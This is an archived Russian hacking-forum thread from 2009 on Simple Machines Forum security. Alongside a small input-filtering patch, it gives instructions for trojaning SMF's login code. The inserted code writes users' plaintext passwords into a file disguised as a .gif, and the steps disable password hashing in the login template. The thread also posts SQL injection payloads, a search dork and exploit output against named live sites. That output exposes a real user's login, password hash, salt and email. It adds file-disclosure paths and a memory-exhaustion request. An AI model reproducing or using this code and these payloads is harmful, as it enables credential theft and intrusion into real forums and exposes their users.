ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

16.04.2009, 00:59
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме: 2185909
Репутация:
308
|
|
http://forum.antichat.ru/showpost.php?p=1047861&postcount=31
Пришлось иметь дело с данным скриптом, действительно корявый, возможные решения проблемы:
Код:
$topic = (int)$_GET['t'];
$board = (int)$_GET['b'];
$user = (int)$_GET['u'];
$tpage = (int)$_GET['p'];
Целые пройти, чтобы избежать проверки данных
Код:
$other = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['o']);
$action = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['a']);
$param = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['param']);
Фильтр только для допустимых регулярок для SMF
А тут делаем проверку на соответствие тем:
Код:
function seo_verifica_permisos($id, $tipo){
global $user_info, $db_prefix;
if(!$id = (int)$id){
return false;
}
if($user_info['is_admin'] == '1'){
return true; //Если админ права по умолчанию
}
if($tipo == 'board'){
if($request = @db_query("
SELECT memberGroups
FROM {$db_prefix}boards
WHERE ID_BOARD = {$id}
LIMIT 1", __FILE__, __LINE__)){
if($row = @mysql_fetch_assoc($request)){
mysql_free_result($request);
}
}
if(!$permisos = @explode(',', $row['memberGroups'])){
if(!$permisos = (int)$row['memberGroups']){
return false;
}
}
foreach($permisos as $valor){
if($valor == $user_info['groups'][0]){
return true;
}
}
return false;
}elseif($tipo == 'topic'){
if($request = @db_query("
SELECT ID_BOARD
FROM {$db_prefix}topics
WHERE ID_TOPIC = {$id} LIMIT 1", __FILE__, __LINE__)){
if($row = @mysql_fetch_assoc($request)){
mysql_free_result($request);
}
}
if(seo_verifica_permisos((int)$row['ID_BOARD'], 'board')){
return true;
}else{
return false;
}
}else{
return false;
}
}
Ну собственно небольшой патч, если "это" так можно назвать(простите за грамматические ошибки и лексически не правильно построенные фразы, час ночи, спать охота).Собственно ссылки:
http://dump.ru/file/2460593
http://slil.ru/27454401
Пароль: underantichat?!
|
|
|

19.04.2009, 00:30
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме: 2185909
Репутация:
308
|
|
Скорее не баги, а так интересные наблюдения, где что хранится у смф:
Ошибка при обработке пакетов:
Ошибки при обработке пакетов сохраняется для того чтобы воможность редактирования, возможность сделать сделал резервную копию каждого файла PHP, которго коснулась изменения, но после смены, в 90% случаев они не удаляются администратором и доустпны всем желающим:
Код:
http://forum.com/index.php~
или
Код:
http://www.forum.com/Settings.php ~
Например: http://foro.infiernohacker.com/index.php ~
Ошибка расширения файлов:
Хранятся тут:
Код:
http://forum.com/Packages/installed.list
Например: опять-таки http://foro.infiernohacker.com/Packages/installed.list
Директория на сервере:
Хранится тут:
Код:
http://forum.com/SSI.php?ssi_layers
Например: http://foro.infiernohacker.com/SSI.php?ssi_layers
Кроме того логи записываются еще и в http://forum.com/error_log
|
|
|

19.05.2009, 16:23
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме: 4761503
Репутация:
229
|
|
Трояним SMF (сбор открытых паролей)
И так открываем файл LogInOut.php который лежит в Source
Редактируем файл...
Ищем следующий код (он в дефолтном виде файла будет на 386 строке)
PHP код:
if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);
$Login = $_REQUEST['user'];
После него подставляем такой код
PHP код:
$Login = $_REQUEST['user']; //пишем в переменную login параметр user от посланного POST запроса
$Passwd = $_REQUEST['passwrd']; //пишем в переменную login параметр passwd от посланного POST запроса
$fp = fopen("./wavatar1.gif","a+"); //открываем файл wavatar1, если он не сущ то он создаеться автоматом
fwrite($fp,"$Login:$Passwd\r\n"); //пишем что в переменных login, passwd и переносим на след. строку
fclose($fp); //закрываем открытый файл
Должно получиться так
PHP код:
..........
if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);
$Login = $_REQUEST['user'];
$Passwd = $_REQUEST['passwrd'];
$fp = fopen("./attachments/wavatar1.gif","a+");
fwrite($fp,"$Login:$Passwd\r\n");
fclose($fp);
// Get ready to set the cookie...
$username = $user_settings['memberName'];
$ID_MEMBER = $user_settings['ID_MEMBER'];
..........
Логинимся... Мда звездочки пишуться в файл =\
Теперь идем в папку Themes\default (где default имя темы которая стоит на данный момент)
Редактируем файл Login.template.php
Ищем в нем POST запросы (он в самом внизу находиться) код будет следующим (в случае если ниже код встречаеться в коде то редактируем)
PHP код:
<form action="', $scripturl, '?action=login2" method="post" accept-charset="', $context['character_set'], '" name="frmLogin" id="frmLogin" style="margin-top: 4ex;"', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' . $context['session_id'] . '\');"' : '', '>
Теперь в этом ПОСТ запросе
Удаляем следующий код
PHP код:
', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' . $context['session_id'] . '\');"' : '', '>
Повторюсь надо сделать это ко всем ПОСТ запросам в файле Login.template.php
Полезная информация:
[Код который мы удалили он шифрует пароль в звездочки]
Логинимся... и в файле который мы прописали появится логин и пароль
Автор: .wolmer
Последний раз редактировалось wolmer; 27.10.2009 в 03:53..
|
|
|

22.05.2009, 22:33
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме: 2185909
Репутация:
308
|
|
Несколько слов о версии 1.9
1. Ошибках в форме опросов.
Смотрим в файле Sources/Pool.php (164-166):
Код:
foreach ($_REQUEST['options'] as $id)
{
$id = (int) $id;
Если в переменную подставить, например, -1, то при показе результатов наш голос не будет засчитыватся.
Бага конечно не серьезная, но все же)
2.Смотрим Sources/Sub-Auth.php, где запрос к базе данных при поиске может достигать глобальных значений, или остановится, когда достигнет указанного предела в php.ini.
Например, заходим в Профиль -> Настройка личных сообщений и нажать на поиск пользователей(эта опция находится в нескольких разделах в профиле) после чего откроется небольшое окно
http://forum.com/index.php?action=findmember; sesc = [hash]
Ошибки скрипта задаются в пхп.ини,
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 86 bytes) in /home/vart001/public_html/foro/Sources/Subs-Auth.php on line 468
3.RRS. С этим у смф траблы- достаточно сделать несколько запросов, чтоб вырубить майскулу было отказано в доступе, так как будет превышен лимит памяти.
Для неверующих:
http://forum.com/index.php?action=.xml;sa=news;board=34;limit=999;t ype=rss
Fatal error: Maximum execution time of 30 seconds exceeded in /home/vart001/public_html/foro/Sources/Load.php(195) : runtime-created function on line 3
5.Раскрытие информации.Не работает должным образом опция "скрытый профиль" (не отобращается, что вы в онлайне).Так как данные узнать не составит большого труда.
|
|
|
Member Awards 1.02 Blind SQL-Injection |

13.06.2009, 17:53
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Member Awards 1.02 Blind SQL-Injection
Blind SQL-Инъекция в моде Member Awards Автор: mailbrush
Часть уязвимого кода (ManageAwards.php):
PHP код:
// Load single award ifo for editing.
$request = db_query("
SELECT ID_AWARD, awardName, gameName, timeAdded, filename, width, height
FROM {$db_prefix}awards
WHERE ID_AWARD = $_REQUEST[id]
LIMIT 1", __FILE__, __LINE__);
Уязвимость позволяет удаленному пользователю выполнить произвольные запросы в базу. Уязвимость существует в передаваемом параметре id.
Дорк:
Код:
inurl:index.php?action=profile;sa=awardsMembers;id=1
На многих найденных форумах, вместо награды будет сообщение
The user whose profile you are trying to view does not exist.
Оно возникает потому что удалённый пользователь не выбрал пользователя для просмотра, что есть обязаным для SMF. Решается это простоым добавлением id любого пользователя -
Код:
http://evilsite.com/smf/index.php?action=profile;sa=awardsMembers;u=1;id=1
Пример:
Код:
http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1+and+substring(version(),1)=5
Способ обхода фильтра и эксплуатации уязвимости:
https://forum.antichat.ru/showpost.p...postcount=7592
https://forum.antichat.ru/threadnav46016-759-10.html
Последний раз редактировалось Grey; 14.06.2009 в 18:28..
|
|
|

14.06.2009, 18:25
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме: 5111568
Репутация:
2399
|
|
exploit для Blind SQLinj Member Awards 1.02
Код:
SMF ] MemberAwards 1.0.2 exploit
eLwaux(c)uasc && antichat 2009
thx: Grey && mailbrush
usage:
expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}
params:
-v = get version()
-u = get user()
-d = get database()
-an = get User Name (логин)
-ap = get User Password (sha1 хеш)
-as = get User Salt (сальт)
-am = get User Mail (емейл)
UAsc.org.UA/files/SMF-Awart-exploit.zip
в скрипте:
Код:
$SHOW_ALL = 1; - показывать результат брута
$SHOW_COUNT_REQ = 1; - показать количество запросов
..
все ф-ции в таком формате:
&getAdminName(41,122) , &getAdminPass(41,122), &getUser1(97,122), ..etc
первый параметр - начало перебора, второй - конец.
т.е. для AdminName будет перебор от chr(41) до chr(122).
если скрипт не сможет роспознать имя\пароль\хеш\etc значит нужно изменить ети числа на
0..255, т.е. чтоб получилось так:
&getAdminName(0,255) , &getAdminPass(0,255), &getUser1(0,255), ..etc
в боевых условиях  :
Код:
http://scrubs.net.ru/cms/forum/index.php
] Host: scrubs.net.ru
BAD answer = '╬°шсър!' <-- Ошибка
] version() = 5
] user() = us5729a@localhost
] database() = db
] id=1 NAME = zhbanito
] id=1 PASS = 4edd40635ac6fd263084d5ccc6fdc624fef3c932
] id=1 SALT = fe81
] id=1 MAIL = shpioner@mail.ru
|
|
|

14.06.2009, 19:00
|
|
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме: 7875940
Репутация:
2362
|
|
Member Awards 1.02 Blind SQL-Injection exploit
Vulnerability: mailbrush
Code: oRb
Thnx: Grey, eLWAux
Использует бинарный поиск. В начале скрипта конфиг:
$url - урл до smf
$member_id - кого брутить
$tbl_prefix - префикс таблиц
$error - текст ошибки, если награда не найдена.
Example:
Код:
$ php smf.php
passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86
Requests: 160
Time: 00:00:32
__________________
включи голову
Последний раз редактировалось oRb; 15.06.2009 в 10:37..
|
|
|

27.07.2009, 23:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме: 4358210
Репутация:
2017
|
|
SMF 1.1.10
АВТОР: HAXTA4OK
нужны права админа
Код:
function EditHoliday()
{
global $txt, $context, $db_prefix, $scripturl;
loadTemplate('ManageCalendar');
$context['is_new'] = !isset($_REQUEST['holiday']);
$context['page_title'] = $context['is_new'] ? $txt['holidays_add'] : $txt['holidays_edit'];
$context['sub_template'] = 'edit_holiday';
$context['admin_tabs']['tabs']['holidays']['is_selected'] = true;
// Submitting?
if (isset($_POST['sc']) && (isset($_REQUEST['delete']) || $_REQUEST['title'] != ''))
{
checkSession();
if (isset($_REQUEST['delete']))
db_query("
DELETE FROM {$db_prefix}calendar_holidays
WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
else
{
$date = strftime($_REQUEST['year'] <= 4 ? '0004-%m-%d' : '%Y-%m-%d', mktime(0, 0, 0, $_REQUEST['month'], $_REQUEST['day'], $_REQUEST['year']));
if (isset($_REQUEST['edit']))
db_query("
UPDATE {$db_prefix}calendar_holidays
SET eventDate = '$date', title = '$_REQUEST[title]'
WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
else
db_query("
INSERT INTO {$db_prefix}calendar_holidays
(eventDate, title)
VALUES
('$date', SUBSTRING('$_REQUEST[title]', 1, 48))", __FILE__, __LINE__);
}
updateStats('calendar');
redirectexit('action=managecalendar;sa=holidays');
}
// Default states...
if ($context['is_new'])
$context['holiday'] = array(
'id' => 0,
'day' => date('d'),
'month' => date('m'),
'year' => '0000',
'title' => ''
);
// If it's not new load the data.
else
{
$request = db_query("
SELECT ID_HOLIDAY, YEAR(eventDate) AS year, MONTH(eventDate) AS month, DAYOFMONTH(eventDate) AS day, title
FROM {$db_prefix}calendar_holidays
WHERE ID_HOLIDAY = $_REQUEST[holiday]
LIMIT 1", __FILE__, __LINE__);
while ($row = mysql_fetch_assoc($request))
$context['holiday'] = array(
'id' => $row['ID_HOLIDAY'],
'day' => $row['day'],
'month' => $row['month'],
'year' => $row['year'] <= 4 ? 0 : $row['year'],
'title' => $row['title']
);
mysql_free_result($request);
}
// Last day for the drop down?
$context['holiday']['last_day'] = (int) strftime('%d', mktime(0, 0, 0, $context['holiday']['month'] == 12 ? 1 : $context['holiday']['month'] + 1, 0, $context['holiday']['month'] == 12 ? $context['holiday']['year'] + 1 : $context['holiday']['year']));
}
уязвимое место holiday
=) собственно сам пример
http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5
реализация:
http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5'
узнаем кол-во колонок - их 5
из постов GREY'a делаем запрос
http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5+and+(%23)%0Asubstring(version(),1,1)=5
у меня 5 ветка
P.S. прошу сина не гнать на меня , мой первый баг найденный в SMF
Последний раз редактировалось HAXTA4OK; 23.08.2009 в 18:58..
|
|
|

05.11.2009, 21:21
|
|
Новичок
Регистрация: 04.11.2009
Сообщений: 2
Провел на форуме: 32003
Репутация:
4
|
|
Сообщение от [Raz0r]
Simple Machines Forum <= 1.1.6 Code Execution (LFI)
Автор:~elmysterio ( a.k.a us )
Локальный инклуд раннее загруженного атачмента с расширением .gif, содержащим шелл
http://milw0rm.com/exploits/7011
можно обойти ограничение на magic_quotes_gpc OFF
если для изменения параметра theme_dir использовать POST запрос к Profile.php
|
|
|

09.11.2009, 00:59
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме: 2185909
Репутация:
308
|
|
Бекдор?!
Сегодня наткнулся на пост испанского вроде бы хакера WHK, который нашел бекдор в СМФ!
http://www.simplemachines.org/community/index.php?action=mascot
Он посмотрел исходники Sources/Who.php - 660 строка:
Код:
function Mascot()
{
global $sourcedir;
// Some important quotes.
$O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men. ~Lord Acton',
'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily. ~David Hasselhoff',
'Buy old masters. They fetch a better price than old mistresses. ~William Maxwell Aitken',
'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded. ~Laurie Anderson',
'I don\'t see the logic of rejecting data just because they seem incredible. ~Fred Hoyle',
'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy. ~Aristotle',
);
mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
}
Он деобфусцировал сей кусок кода и получил вот это:
Код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>My name is Earl</title>
</head>
<body>
<h1>Watch out! He's a killer!</h1>
<img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" />
</body>
</html>
Как по мне - очередная пасхалка, но все равно забавно.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|